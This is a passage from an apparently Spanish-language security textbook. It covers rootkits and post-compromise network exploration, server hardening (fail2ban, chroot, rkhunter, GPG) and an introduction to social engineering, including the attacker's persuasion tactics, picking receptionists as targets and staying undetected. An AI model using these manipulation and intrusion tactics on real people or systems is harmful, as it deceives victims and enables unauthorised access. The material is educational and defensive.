disimular archivos o directorios... Los más conocidos son los caballos de Troya, o troyanos, que quedan disimulados en el sistema a través de otras herramientas muy usadas e insospechadas, como los comandos Unix clásicos: ls, find, cd, top... Los binarios se reemplazan por otros binarios que aparentemente devuelven el mismo resultado que el original pero que en realidad tienen funciones adicionales. Por ejemplo, el binario ls, que lista los archivos y directorios de una ubicación determinada, podrá esconder ciertos archivos, algunas herramientas que el hacker haya dejado ahí o un archivo de contraseñas, por ejemplo... El comando netstat podría no mostrar la conexión remota del hacker, mientras que los comandos que muestran los procesos como ps o top esconderían los procesos no deseados. Estos rootkits pueden ser muy difíciles de detectar en un servidor, si el hacker tiene cuidado en conservar las fechas de creación originales, y además tienen el mismo comportamiento aparente. Sin embargo, existen algunas herramientas para la detección de rootkits como chkrootkit. Otro ataque posible consiste en utilizar el sistema de módulos del núcleo. Los módulos pueden interceptar las llamadas al sistema para esconder información, y son difíciles de detectar. 3. Ampliar su alcance Una vez que el atacante es root, se convierte en superusuario y dispone de todos los permisos en la máquina, se puede retomar la recolección de información. Ahora tiene la posibilidad de explorar toda la red y tener acceso a las cuentas de usuario válidas gracias a los directorios LDAP de la empresa, a los servicios de mensajería o a las comparticiones de archivos, por ejemplo. También puede esnifar el tráfico que viene y va de las máquinas del mismo segmento de red para recuperar los pares usuario/contraseña que le permitirán acceder con privilegios elevados y controlar una gran parte de la red. El servicio finger de los sistemas Unix permite tener acceso a cuentas válidas del sistema. Con un poco de observación, se pueden detectar los diferentes servidores de la arquitectura: dónde están los archivos, las copias de seguridad, los registros de sistema, las bases de datos de usuarios... El servidor NIS es un objetivo frecuente porque está lleno de información sobre usuarios. Para ello, una vez introducido en la red, el comando domainname permite obtener el nombre del dominio NIS, si existe. Del mismo modo, las máquinas que tengan un acceso como root son potencialmente máquinas de administradores y, por lo tanto, son máquinas objetivo Revisión de la intrusión y la protección Tras este test de intrusión, conviene evidentemente corregir en primer lugar las posibles vulnerabilidades del sistema, pero también establecer medidas de protección y de securización. Todo esto se recoge en una política de seguridad. Hay que empezar eligiendo un nivel de exigencia y, por supuesto, el coste de tal aseguramiento. Para la implantación de la seguridad, hay que empezar por la identificación de las amenazas y del riesgo potencial. Para defenderse de un enemigo hay que conocerlo en primer lugar, así como sus motivaciones, y predecir su forma de actuar para protegerse y limitar el riesgo de intrusión. La elección se decidirá en función de varios criterios:  Es seguro que una empresa con grandes problemas de seguridad conocidos o con pérdida de datos (a menudo es el caso de una auditoría de seguridad) querrá implantar una política de seguridad a la altura de sus pérdidas.  La elección depende también de la confianza en los usuarios internos. No se implanta la misma seguridad en una empresa de cinco personas que en una multinacional.  La importancia de los datos, especialmente aquellos de los clientes, es un punto esencial de la seguridad.  La seguridad se establecerá en función del tipo de acceso a la red: ¿es sólo interna o también es accesible desde el exterior? La seguridad del sistema va ligada al eslabón más débil de la cadena, es esencial no perder de vista ninguno de los puntos que constituyen la red. 1. Una política de seguridad exigente a. Contraseñas Una contraseña es un medio de autenticación que protege la información. Por lo tanto, es importante. Es la clave del acceso que se quiere proteger. Sin embargo, cuando se consulta a una persona no es raro oírle decir que su contraseña no es muy importante, que no tiene información relevante ni datos sensibles en su máquina y que, en caso de que se produzca una intrusión, no habrá peligro. Asimismo, muchos usuarios abandonan su puesto de trabajo sin bloquear la sesión, ofreciendo así el acceso directo a su máquina a cualquier persona que pase por delante. Esta acción es muy imprudente. Si un usuario no tiene información propia e importante que esconder, tiene que recordar que el acceso a un ordenador que está en red puede significar tener acceso al resto de la red. De este modo, también es primordial formar a los usuarios sobre la necesidad de tener una contraseña que sea eficaz y que cumpla su papel, además de concienciarles del papel que ellos tienen en la seguridad de todo el sistema. Una contraseña es secreta. Esto implica, por lo tanto, que nunca se deberá escribir en un papel o en un post-it y todavía menos dejarla en un lugar público. Además, ésta debe ser segura, es decir, suficientemente larga y compleja, tener un número de caracteres suficiente, mezclar cifras, letras y caracteres especiales, no basarse en una palabra del diccionario y no tener un significado evidente (fecha de nacimiento, animal de compañía...). En un sistema de información asegurado, la elección de la contraseña no debería ser responsabilidad de los usuarios del sistema. Se debería generar de forma aleatoria, incluyendo símbolos, caracteres alfanuméricos, simbolos u otros caracteres. En efecto, la longitud y la complejidad de una contraseña determinan su fuerza. Será más difícil, o incluso imposible, averiguar la contraseña por un ataque por diccionario o de fuerza bruta. Por último, puede ser necesario cambiar regularmente las contraseñas para mejorar su seguridad. Por supuesto, las contraseñas no tienen que circular sin encriptar por la red, se tienen que encriptar siguiendo un protocolo seguro. b. Formación del personal El personal tiene que recibir formación sobre la seguridad para comprender los problemas y su responsabilidad dentro del sistema. De este modo, es primordial formar al personal en las distintas técnicas de ingeniería social o en seguridad básica relacionada con el puesto de trabajo. Los accesos físicos críticos tienen que permanecer vigilados permanentemente, es una de las claves en seguridad. Cada miembro del personal tiene que seguir una formación adecuada a su puesto de trabajo pues cada uno tiene responsabilidades distintas y debe conocer los riesgos a los que está expuesto -o más bien los riegos a los que él mismo puede dejar expuesto al sistema. Incluso si todas las medidas de precaución no sirven la mayor parte del tiempo, pueden salvar la seguridad de los datos de una empresa en caso de ataque. Si es muy fácil recopilar información de una víctima potencial, también es fácil y es asumible para cada persona impedir la fuga de información. Sin embargo, es un trabajo que debe realizarse por el conjunto del equipo, cada empleado tiene que implicarse. Como a menudo la causa es el factor humano, evitar el fallo de seguridad de una red protegida requiere formación continua para no convertir en inútiles las medidas desplegadas. c. A cada empleado su perfil La gestión de los permisos es también un punto crítico. Cada tipo de acceso tiene que tener definidos sus permisos. Una de las filosofías de los sistemas *nix es que cada servicio realiza una tarea, y lo hace bien. No hay servicios con múltiples tareas y esto es así por varias razones. La primera es independizar los procesos permitiendo que se conecten entre ellos, lo que permite aislar un problema fácilmente y reiniciar el servicio que nos interese si fuera necesario. La segunda es poder acotar los servicios en un entorno que les baste. De este modo, no se puede aprovechar el acceso a un servicio (mediante un fallo de seguridad por ejemplo) para acceder a datos más sensibles. Un servicio Apache sólo tendrá acceso, por ejemplo, a la información que necesite, pero no a información de sistema. Sucede lo mismo con los perfiles de las personas físicas. Si la empresa tiene una sala de servidores, ésta tiene que protegerse y sólo las personas que tengan la necesidad de acceder a las máquinas deben tener acceso -generalmente, son pocas las personas que se ocupan de las máquinas físicamente. 2. Encriptar la información esencial ¿Qué se suele hacer cuando se posee información importante que no debe ser interceptada? Puede que información crítica tenga que transitar por la red de forma no protegida, en una llave USB o en un servidor FTP... En este caso, e incluso en el caso de una transferencia protegida, una solución eficaz es la encriptación de los datos. Una encriptación muy conocida en el mundo Open Source y con buena reputación es GnuPG o GPG (de GNU Privacy Guard). Permite firmar y/o encriptar mensajes eficazmente. GPG se basa en el principio de encriptación por clave. Imaginemos que un usuario A quiere compartir un documento de forma segura con otro usuario B. Cada usuario ha generado su clave privada, que es la que conserva en secreto sin nunca perderla (si no toda la seguridad quedaría comprometida). A y B se conocen y tienen confianza mutua: A le ha proporcionado su clave pública a B y B ha hecho lo mismo con A. Estamos hablando de claves públicas y no de claves privadas que jamás tienen que darse a nadie, sea quien sea. A encriptará el documento con la clave pública de B y se lo enviará. Solamente la clave privada de B podrá desencriptar el documento... Por lo tanto, sólo B será capaz de desencriptar el documento. Incluso a A le será imposible. También se puede firmar un documento con GPG. La firma no ofrece ningún tipo de cifrado. Únicamente protege la autenticidad del documento, debido a que solamente la persona que posea su clave privada podrá firmar un documento en su nombre y ser reconocido como propietario por los destinatarios. Este método de encriptación se considera seguro siempre y cuando la clave privada no quede comprometida o se pierda. 3. Asegurar los servidores a. Realizar actualizaciones de seguridad Es responsabilidad del administrador de sistemas realizar las actualizaciones del mismo. Concretamente se habla aquí de actualizaciones de seguridad, porque las actualizaciones funcionales no son realmente necesarias. Las actualizaciones de seguridad se realizan para corregir vulnerabilidades que se han descubierto, sin perturbar la configuración del servidor. Por lo tanto, son indispensables para asegurar el sistema. Para un atacante, es bastante fácil hacer fingerprinting para conocer las versiones de los servicios activos de una máquina y a continuación buscar las vulnerabilidades potenciales de esas versiones. Un servidor que no actualice con suficiente rapidez sus servicios y programas es posible que quede expuesto a grandes riesgos. Un acceso cliente comprometido puede conllevar una vulnerabilidad de un servidor de la red. También hay que dar importancia a las actualizaciones de software, de los sistemas operativos o de los firmwares de los dispositivos. Cada puesto de trabajo debe protegerse para proteger al sistema informático completo, con antivirus o incluso con un cortafuegos actualizado. Un administrador tiene que conocer las vulnerabilidades relativas a su sistema, controlar cada entrada y salida de la red y registrarlo todo. b. Enjaular servicios (chroot, jail) Como se ha visto, es importante limitar los permisos de cada usuario y de cada servicio que tenga acceso a un sistema sensible. Una forma de ir más lejos en un servidor es enjaulando los servicios, acotán- dolos en un entorno muy limitado de manera que no tengan incluso conocimiento del resto del sistema. Se les encierra en una jaula, mediante un chroot o un jail. El servicio quedará de este modo confinado en el interior de un directorio del sistema de archivos y no podrá escapar. Si alguien viene a explotar una vulnerabilidad de este servicio, también quedará encerrado en la jaula y no podrá comprometer al resto del sistema. No obstante, hay que ser consciente de que chroot no es la solución mágica a todos los problemas de seguridad: existen técnicas para saltarse esta barrera y hay que implantar medidas para conservar la seguridad de un jailing. Hay varias formas de escaparse de un script, en Internet hay algunos programas para ello. Pero en general necesitan permisos de root o sólo funcionan en entornos mal configurados. ¡Siempre será más seguro un chroot bien configurado que un chroot de todo! c. Seguridad del núcleo El núcleo es el corazón de un sistema. Si se corrompe, puede provocar cuantiosos daños en el sistema. Con la ayuda de exploits en versiones no corregidas de un kernel que presente vulnerabilidades es posible, por ejemplo, otorgarse los permisos de root o dejar una backdoor en el sistema. Por lo tanto, son permisos más que interesantes para visitas indeseables. Las actualizaciones de seguridad del núcleo tienen que seguirse de cerca y aplicarse lo antes posible si el núcleo actual es vulnerable. d. Evitar escaneos y ataques Se pueden evitar los escaneos de puertos y los ataques a un puerto de forma reiterada bloqueando, de este modo, la tentativa de un ataque por fuerza bruta (brute-forcing), por ejemplo. Para ello, hay varias herramientas que pueden resultar prácticas en un servidor. La primera que hay que implantar es, por supuesto, un cortafuegos. Éste se ocupará de crear una barrera entre el exterior y el sistema, abriendo únicamente los puertos necesarios para los servicios que actualmente están en ejecución y limitando el acceso a ciertas direcciones IP definidas. Cuanto más afinadas sean las reglas, más reforzada estará la seguridad del sistema. En Linux, el cortafuegos más usado es iptables. Ya hemos hablado de fail2ban previamente. Este programa permite definir los puertos que se "vigilarán" y bloquear las direcciones IP de los potenciales atacantes que intenten abrir conexiones con estos puertos. Por ejemplo, si el servicio SSH se ha establecido en el puerto 2222 en vez del habitual puerto 22 (es muy común mover los servicios de su puerto original a otro para evitar gran parte de los ataques de los robots), entonces se solicitará a fail2ban que vigile el puerto 22: cada cliente que intente conectarse a este puerto se bloqueará y no podrá comunicarse con el servidor en modo alguno. Este bloqueo puede operar desde el primer intento o al cabo de X intentos. Fail2ban es capaz de bloquear una IP de distintas maneras: añadiendo una regla en iptables, bloqueando la IP en el archivo /etc/hosts/deny, añadiendo una regla para rechazar paquetes en la ruta... El programa denyhosts también es una herramienta pero sólo funciona para el demonio ssh. Otra técnica comúnmente utilizada es el port knocking: la apertura de un puerto sólo se realiza si el cliente ha realizado previamente un conjunto de conexiones en el orden adecuado. Es recomendable cambiar el puerto por defecto de todos los servicios activos para evitar ataques masivos. Por ejemplo, el puerto 22 es el puerto por defecto del servicio ssh, que es uno de los primeros puertos atacados. De igual manera, es necesario tomarse su tiempo para configurar los servicios correctamente y afinar al máximo el acceso impidiendo, por ejemplo, la conexión usando el usuario root o por contraseña (dando privilegios a una autentificación por intercambio de clave). e. Sólo guardar lo esencial Como se ha visto previamente, es indispensable cortar los servicios no utilizados en los sistemas y no usar programas desconocidos. Algunos están activos por defecto en el sistema sin ser forzosamente necesarios. Un servicio inútil activo es una puerta de entrada potencial para un ataque, pero también un servicio adicional que se tendrá que vigilar, que actualizar o que estudiar para estar al día de las vulnerabilidades que presenta. Cuanto mayor sea el número de servicios, más laboriosas serán las tareas de mantenimiento (actualizaciones, vigilancia pasiva, configuración...) y abrirán brechas potenciales en el sistema. f. Vigilancia de actividades Por último, uno de los papeles más importantes que desarrolla un administrador es la vigilancia pasiva. Tiene que saber lo que pasa en las máquinas, ya sean problemas técnicos, de hardware, errores o intentos de ataque. La vigilancia empieza primero con el registro (los logs del sistema) pero no es suficiente porque, como hemos visto anteriormente, es bastante fácil borrar las huellas. Algunas herramientas son capaces de prevenir intrusiones y de garantizar que el servidor no tiene rootkits o backdoors conocidos. El programa rkhunter (de rootkit hunter) es un verdadero aliado ya que, por ejemplo, permite detectar los rootkits, backdoors o exploits que estén presentes en el sistema. No se puede estar seguro al 100% porque se basa en una base de datos conocida, comparando las hashs de los archivos importantes del sistema con las hashs de la base de datos. Sin embargo, protegerá al sistema de los script kiddies que usan rootkits encontrados en los foros y también permitirá detectar permisos anormales en los archivos, archivos escondidos sin ningún motivo aparente o realizar pruebas más específicas. Lynix es una herramienta que permite realizar auditorías de seguridad con total autonomía. Para ello, escanea el sistema y detecta los problemas de seguridad relativos a las versiones de los programas instalados o los problemas de la configuración actual. Es fácil de usar y está disponible para la mayoría de los sistemas operativos y distribuciones de tipo Unix. También es capaz de analizar el núcleo, la memoria, los procesos en ejecución, los usuarios, el cortafuegos, los servicios iniciados, etc. El programa chkrootkit sirve para comprobar la presencia de rootkits gracias a varios programas que comprueban los archivos binarios, el modo de interfaz de red (promiscuo), los últimos borrados y las últimas modificaciones en los registros de log (lastlog, wtmp, utmp) o la presencia de troyanos LKM (Loadable Kernel Module). Los registros de log tienen que estar externalizados si es posible, guardando regularmente copias de seguridad de los mismos y conservándolos para guardar las trazas de cualquier actividad anómala. 4. Los tests de intrusión La mejor medida para comprobar un sistema es realizar un test de intrusión después de implantar toda la política de seguridad y de copias de seguridad. Ésta comienza por un test para el mismo administrador de sistemas, con el que puede probar las distintas vulnerabilidades conocidas, actuando como un pirata en su propio servidor. Pero para ir más lejos, como se ha visto, contar con un especialista puede ser verdaderamente útil y eficaz. El test de intrusión que acabamos de ver se ha realizado dentro de las normativas legales, es decir, se ha tratado de una intrusión local o realizada por un organismo especializado a petición de la empresa. No ha habido explotación. El objetivo de la auditoría consiste en informar a los responsables de la red de los fallos en su sistema, si los hubiera, y en proponer soluciones seguras para cerrar estos fallos. Los fallos se clasifican por gravedad y se tratarán según su urgencia. Es cierto que algunos fallos no abren puertas necesariamente sensibles y que no es necesario sobreproteger una red que no corra grandes riesgos. Si una política de seguridad es demasiado estricta e impide a los actores de la red trabajar correctamente con relativa sencillez, se expone a que no se cumplan las normas de seguridad. Hemos visto el principio de intrusión en un sistema. Ahora podremos ir examinando con más detalle los fallos más comunes y las medidas técnicas puestas en marcha tras una intrusión. Breve historia de una técnica tan antigua como el mundo 1. Historia y generalidades El social engineering, o en español ingeniería social, es una técnica utilizada ampliamente desde hace mucho tiempo: se trata de incitar a una persona a realizar ciertas tareas o revelar información sin pedírselo directamente. Vamos a ver cómo explotando un contexto o la personalidad de una víctima podremos recuperar diversa información, siguiendo el nivel de cooperación de esta persona. De hecho, el social engineering es una técnica muy antigua. Los ladrones de antaño ya trataban de persuadir (a veces con la ayuda de armas) a los telegrafistas para poder escuchar las conversaciones. Lo hacían con el fin de utilizar aquellos detalles interesantes, como por ejemplo horarios o protocolos de intercambio de diligencias. Con esta información podían cometer sus robos o hacerse pasar por otra supuesta diligencia y robar a los viajeros. Desde un punto de vista religioso, la Biblia contiene un pasaje donde Jacob se disfraza para engañar a su padre y obtener una bendición. Un ejemplo más cercano a nosotros, en el que podemos observar todo el arte de la manipulación, es la película "Atrápame si puedes" de Steven Spielberg, que cuenta excelentemente la historia real de Franck Abagnale, un célebre estafador del siglo XX. Estos tres casos muestran que la ingeniería social no está solamente relacionada con la seguridad en sistemas informáticos. La estricta seguridad informática cuenta también con algunos expertos en social engineering. El más conocido es Kevin Mitnick, cuyo libro "El arte del engaño", escrito conjuntamente con William L. Simon, constituye una referencia en este ámbito. Kevin Mitnick fue declarado culpable de piratear muchos sistemas en Estados Unidos y ha cumplido una pena de prisión por esa causa. Buscando por Internet, el seudónimo de Bernz también debería mostrar algunas informaciones valiosas excelentemente escritas y recopiladas. Finalmente, la historia de los hermanos Badir merece toda nuestra atención: se trata de tres hermanos ciegos de nacimiento que han elegido como filosofía de vida demostrar a los que ven que su facultad de ver no les protege de los piratas informáticos. Una misión que han cumplido brillantemente, ya que les llevó a conseguir entrar en los ordenadores del ejercito israelí usando numerosas veces "lo social", nombre más común de la manipulación. En una entrevista con Jonathan Littman, Kevin Mitnick afirmó que el 85% de sus ataques se han realizado sin ordenador. Por teléfono, por email, por fax o por correo postal, el social engineering alcanza a todas las víctimas gracias a todos estos medios. Con el uso de algunas técnicas precisas, vamos a ver cómo y por qué el social engineering está siempre de actualidad. Aunque de aquí en adelante consideraremos únicamente el aspecto relacionado con la seguridad informática del social engineering, hay que saber que la información aquí presentada es la misma que se usa para otros usos de la ingeniería social. En efecto, esta ciencia, íntimamente relacionada con la psicología y con las técnicas de persuasión, tiene su origen en diversos ámbitos, tales como el espionaje, el comercio y la venta. 2. El ser humano: la pieza frágil Desde tiempos inmemoriales, se confía en los seres humanos para guardar información. Una confianza más o menos explicable: César enviaba sus mensajes de forma encriptada (gracias al célebre algoritmo llamado César) pero se basaba en el principio de que sólo el destinatario sabía cuál era la "clave" para desencriptarlo. El problema del ser humano es que hay muchas razones por las que puede revelar sus secretos, desde la simple falta de atención hasta cuando se ve obligado a hacerlo mediante, por ejemplo, la tortura. Es posible que alguno de estos dos casos provocaran que los destinatarios de César revelaran su clave y que los mensajeros compartieran su carga. Entre ambos extremos, hay muchos medios para "persuadir" a una persona para que dé información, infundiendo miedo (a la muerte, con un arma, o a perder su empleo), inspirando confianza y simpatía o forzando a la víctima a que baje su guardia y le considere un amigo. Ramy Badir, uno de los hermanos invidentes, declaró que "un ordenador seguro es un ordenador almacenado en un cobertizo y apagado". Es común ver varias respuestas a esta cita, pero una de ellas es muy conocida: su autor, Kevin Mitnick, dijo que ¡siempre se puede encontrar a alguien lo bastante amable como para que te encienda el ordenador! El social engineering es por lo tanto esto: utilizar la pieza frágil que es el ser humano para avanzar en nuestro cometido, pidiéndole que arranque un ordenador, que transmita una información falsa, que diga cuál es la contraseña del director general o incluso que envíe por correo el documento confidencial en el que han estado trabajando los ingenieros de la empresa durante seis meses. Por lo tanto, no hay ninguna protección técnica infalible si una simple pregunta nos da acceso al sistema. 3. La manipulación es una herramienta La manipulación es una herramienta que permite a menudo obtener información, como por ejemplo una contraseña o un número de teléfono. Pero en este caso, la ingeniería social permite terminar la "misión": en el caso de un ataque contra una empresa para recuperar la información contable de la compañía, una conversación telefónica con el departamento financiero podría facilitar todas las indicaciones necesarias. Otra forma de realizar el ataque sería obtener una contraseña de usuario y utilizar otra técnica de penetración (por la red o mediante un virus) para obtener lo que se desea. A veces, la ingeniería social puede ir más allá de la pesca de información: se puede convencer a un usuario para que borre un archivo o para que pulse un botón para apagar un servidor, acciones que pueden ser nuestro objetivo. En cualquier caso, la manipulación es, como sucede con el fingerprint o la explotación de un buffer overflow, una herramienta: ¡no se manipula por manipular, sino para cumplir un propósito! 4. Criterios de un ataque por manipulación Una cuestión importante que hay que preguntarse es: ¿Qué es y qué no es un ataque por ingeniería social? Como de costumbre, se considera que un ataque utiliza "ingeniería social" cuando un ser humano ha sido implicado como víctima y ha sido manipulado para realizar acciones o revelar información. Por más simple que pueda parecer esta definición, tiene tras de sí repercusiones muy importantes: tanto en el plano judicial como a nivel del reparto de responsabilidades dentro de una empresa, las consecuencias pueden ser distintas. Una empresa A podrá considerar un ataque de ingeniería social como si fuera competencia de la formación de los empleados frente al espionaje industrial, mientras que en el mismo contexto otra empresa delegará esta tarea al RSI (Responsable de Sistemas de Información) o al RSSI (Responsable de Seguridad de Sistemas de Información), si existe. En el aspecto legal, la manipulación puede considerarse fraude en determinadas circunstancias, para el que las penas son diferentes a las penas relacionadas con la piratería informática. Para ser exhaustivos, consideremos también los criterios que definen si un ataque se ha realizado con éxito. Por defecto, todos responderemos que una ofensiva ha tenido éxito si su autor ha podido recuperar la información que buscaba o, en algunos casos, si la víctima ha realizado las acciones que se esperaba. Pero hay que pensar más abiertamente: como en todos las ramas de la seguridad informática, para que la manipulación tenga éxito necesita discreción absoluta. Y en este ámbito, está demostrado que el social engineering es de una dificultad a veces abrumadora: no crea que puede borrar la memoria de un ser humano con scripts en Python o controlar completamente el medio de comunicación elegido para llevar a cabo el ataque. Tendrá que ser cauto y habrá que pensar en los métodos que utilizará la víctima para volver a usted antes de realizar el ataque, para corregir los parámetros. Además, la mejor medida para evitar que la víctima pueda encontrar a su atacante es que no sepa que ha sido la víctima. En el caso de los ataques por teléfono, es interesante no aumentar la preocupación de la víctima, de forma que se olvide literalmente de la llamada tan pronto como cuelgue el teléfono. Durante las intrusiones técnicas, conviene ser cauteloso con las trazas que dejará el intento, especialmente en los servidores de correo o en los proxy. Y para la ingeniería social, en la que tiene lugar una intervención física, las cámaras de videovigilancia son las peores enemigas del atacante. Si no se puede actuar con absoluta discreción, algunas opciones presentarán inconvenientes insalvables que harán que el atacante tenga que optar por otros métodos, más costosos o más complejos, pero también más discretos. ingeniería social: ¿por qué? 1. Las razones Como en todos los aspectos de la seguridad informática, el uso del social engineering se justifica por una motivación concreta. En lo que respecta a los piratas, a menudo es el dinero u otros tipos de beneficios los que motivan el acto del atacante. Aunque la mayoría de la información de este capítulo se aplica a las empresas, los usuarios particulares son también objetivo de la manipulación. Los padres se enfrentan a ataques de sus hijos para averiguar el código de control parental de la conexión a Internet. Los compañeros de clase buscan información de los demás niños para robarles sus credenciales de mensajería instantánea. El mundo está repleto de social engineering y puede ser que después de la lectura de este capítulo le sorprenda ver muchos casos en la vida cotidiana. Por supuesto, también hay que tener en cuenta el gran número de hackers que actúan simplemente por curiosidad. La ingeniería social, tal y como lo descubriremos en nuestras primeras pruebas, es una tecnología muy pragmática y asequible que proporciona sensaciones muy distintas frente a otras ciencias de seguridad informática. Sin embargo, a veces los deseos cambian durante la actividad, y la realidad acerca de la facilidad de acceso a la información sensible puede crear vocaciones. 2. El perfil del atacante El social engineering puede ser llamadas telefónicas, conversaciones en las que hay que manipular la opinión de la gente inspirando varios sentimientos en el grado que se necesite. El atacante debe tener alguna ventaja, en primer lugar está lo que familiarmente se llama "labia": hay que saber expresarse y jugar con las entonaciones. Para convencer, también hay que tener mucho carisma, para inspirar confianza y respeto en el subconsciente de la víctima. En efecto, un atacante que no parezca seguro de sí mismo o que no sepa explicar sus pensamientos tendrá un menor poder de convicción. Concretamente, se necesita este activo para dirigir la conversación con un sentido preciso y para imponer un tema o una dirección. A veces, el éxito de un ataque depende también de la audacia, cuando se trata de sorprender, y en otras de provocar una reacción en la víctima para llevarla en la dirección que queremos. La audacia es comprender el sentido del farol, es decir, ser capaz de sorprender a una víctima o hablar de algo inesperado o que pueda parecer contradictorio a primera vista. No hay que confundir esta audacia con una especie de locura que haría que el atacante pudiera intentar medidas imprevistas: un ataque por social engineering es, como todos los ataques, una operación cuidadosamente preparada con, por ejemplo, un pequeño gráfico que dibuja todas las direcciones que podrá tomar la conversación. Generalmente, no se da lugar a la improvisación y, si fuera necesario, hay que estar habituado a estos ataques para no perder el progreso de la maniobra. Finalmente, sólo hay que valerse de una pequeña parte del actor interior que tiene todo atacante cuando utiliza la manipulación. Los mejores manipuladores son los mimos, capaces de fingir alegría y tristeza, sorpresa e ira. Todo esto unido a una sola cadena de palabras que se pronuncia con una entonación específica. A veces es muy difícil explicar a una víctima la urgencia de una situación por teléfono, ya que sólo se puede expresar con palabras, sin lenguaje corporal. Entonces hay que usar las palabras adecuadas, una buena entonación, una buena cadencia en la sucesión de palabras y, junto a todo esto, ¡las onomatopeyas adecuadas! Todo un programa. El atacante es, por tanto, un verdadero impostor y un formidable mentiroso que puede vendernos un vaso de agua del mar alabando sus propiedades curativas. Pero para inspirar confianza, saber hablar no lo es todo. Para estar cómodo en un ataque de ingeniería social, el atacante ha de saber bastante acerca de la empresa atacada, de su jerga técnica, de sus productos: si trata de hacerse pasar por un cliente o incluso por un miembro de la empresa, es importante conocer los productos y los servicios de la empresa, así como tener alguna información sobre su funcionamiento interno. Por lo tanto, el manipulador tiene que estar dotado de gran curiosidad y paciencia porque a veces tardará días o incluso semanas para obtener toda la información que necesita. También es un detective. Como un verdadero Colombo, el ingeniero social anotará cada detalle, incluso si no parece evidente su utilidad. Para convencer, los detalles que parecen más insignificantes son los que van más directos al intelecto de la víctima y golpean directamente en el subconsciente. Por consiguiente, podemos servirnos de estos detalles para mejorar el "aspecto" del ataque. Por otro lado, estos detalles también son información sobre el funcionamiento de la empresa y permitirán al atacante comprender mejor a su víctima. De este modo, el ingeniero social es muy minucioso, busca la mayor cantidad de información necesaria y es capaz de jugar con la impresión que la gente se lleva de él. Sin embargo, todas estas aptitudes a menudo son adquiridas, y no dadas, es por eso que el social engineering es muy apreciado por su aspecto abordable. 3. El perfil de la víctima La elección de la víctima es una de las etapas más importantes del ataque. Cuando pueda escogerla, el manipulador optará por una empresa muy grande que tenga un sistema informático descentralizado. En estos casos, los técnicos de soporte informático rara vez tienen una voz o una cara conocida por los empleados y es fácil hacerse pasar por un trabajador nuevo en su equipo. Por supuesto, las empresas que responden a este perfil son muy pocas e incluso las que lo cumplen a menudo tienen una persona que actúa como responsable informático del sitio. A continuación, el atacante tiene que elegir a la persona a la que llamará en la empresa. En primer lugar está la centralita (el teléfono de contacto de la empresa), ya que es el único número que está disponible públicamente. La casuística a continuación es múltiple, ya que incluso se puede obtener toda la información desde este mismo contacto. En efecto, muchos textos relativos a la ingeniería social hacen referencia a esta puerta de entrada. Otros textos menos conocidos utilizan después esta información, justificándola por el hecho de que la gente en este puesto de trabajo no suele tener las cualidades necesarias para oponerse a un ataque o, incluso, porque como a menudo son mujeres las que ocupan este puesto son más sensibles y más fácilmente manipulables. En realidad, el puesto de recepcionista es la piedra angular de la empresa ya que este puesto es el que recibe todas las llamadas que vienen del exterior. Las centralitas tienen acceso integral al directorio de la empresa (se verá más adelante cómo esto puede ser interesante), a veces también tienen acceso a las agendas y a información de la empresa y... a menudo se quedan en el olvido en las reuniones de seguridad del sistema informático, en las que se confía toda la responsabilidad. No hay que olvidar que, para asegurarnos, debemos formar a todo el personal de la empresa, o a todos los habitantes de nuestro hogar. Para que un ataque tenga éxito, ¡el atacante sólo necesita a una sola persona! Puede ser necesario contactar con otra persona, especialmente si la solicitud es muy precisa: la centralita rara vez tiene acceso a las cuentas de la empresa o a sus planos técnicos. Por lo tanto, habrá que usar la astucia para poder llegar a las personas que nos interesan, antes de desviar su atención para obtener la información que queremos. En la mayoría de los casos, el manipulador tendrá que lidiar con un servicio informatizado, pero no con el servicio de informática que es probablemente el que está más informado sobre los problemas de seguridad. Pero, como se ha visto anteriormente, no debemos pasar por alto la audacia del atacante, que no dudará en llamar directamente al gerente para solicitarle información. A continuación, sólo falta avanzar, como en el caso de una escalada de privilegios estándar. Una llamada puede ofrecer al manipulador suficiente información para realizar la llamada siguiente, que también le proporcionará multitud de información. En el paso siguiente, se podrá pasar a un método de ataque técnico (ataque del sitio de Internet, por ejemplo) o hacer otra llamada. 4. La información, un bien codiciado a. Importancia de la información No todo el mundo le otorga la misma importancia a la información. Esto es un hecho, y lo veremos en el párrafo que trata los paliativos, la información tiene que estar listada, categorizada y clasificada de manera que todo el personal pueda basar su respuesta en los mismos criterios. De igual modo, los usuarios particulares tienen que adoptar este principio. En efecto, los experimentos han mostrado que poca gente considera un número de teléfono interno de la empresa como un dato confidencial. Y sucede lo mismo con la jerga y las palabras clave. Es una pena que demasiadas personas consideren que estos datos no pueden usarse para llevar a cabo ataques. Otro ejemplo concreto: las letras de las unidades de red montadas en los puestos de trabajo en máquinas con Microsoft Windows. Aunque esta información a primera vista parece trivial, en realidad es una valiosa herramienta para el atacante; ¡cómo fiarse de un empleado que puede decir por teléfono en qué directorio está guardada la información de la empresa! Aparte de este caso tan específico (es poco probable que alguien que no esté al tanto de la ingeniería social pueda adivinar la importancia de esta información), las empresas y particulares poseen una mina de información y es importante controlar su divulgación. Si todo el mundo es consciente de que los datos financieros son privados y propios de la empresa, a menudo solamente los puestos estratégicos de la empresa (dirección, gerencia) son quienes saben si un proyecto es secreto o no. La mayor parte de los empleados están al corriente de la evolución de este proyecto, pero no saben si pueden hablar o no de él. Sucede lo mismo con la información relativa a cambios en la jerarquía o en el ambiente de la empresa: éstos pueden repercutir en la producción, en el balance del año o en la imagen corporativa de la empresa. Por lo tanto, deben revelarse con precaución. b. La información y su transmisión Más allá de la confidencialidad de la información, es un error común olvidarse de categorizar los métodos de transmisión. Se trata de garantizar que una información extremadamente confidencial se transmita solamente por un medio extremadamente seguro. Lo mejor es enviarla en mano habiéndonos asegurado de que el destinatario es la persona correcta. Pero para la información que es menos sensible normalmente nos olvidamos de especificar cuál es su medio de comunicación autorizado. Además, también nos olvidamos siempre de determinar quiénes son los destinatarios autorizados que podrán consultar la información. Sin llegar al extremo, la mayoría de las empresas deberían tener un sistema de clasificación de documentos y archivos del que los empleados pudieran hacer referencia o fiarse. De este modo, no habría dudas que el atacante pudiera aprovechar: el mayor riesgo sería la aparición de falsos positivos, como por ejemplo en el caso de que un empleado se negara a dar información a un empleado autorizado. Pero no se puede culpar a las personas por respetar las reglas. La información tiene vida propia: se crea, se almacena y se transmite. Éstos son los puntos con los que juegan los atacantes para robar datos. 5. Formas de ataque a. Aclaraciones Hemos visto hasta ahora por qué y cómo existe el social engineering. Para abordar las etapas siguientes conviene entender adecuadamente que los ataques son a veces complejos: la psicología es un mundo relativamente reciente, apenas más viejo que el de la informática. b. El más fácil Sería difícil hablar de social engineering sin tratar los ataques más sencillos: éstos representan una buena parte de los ataques (sin ser una 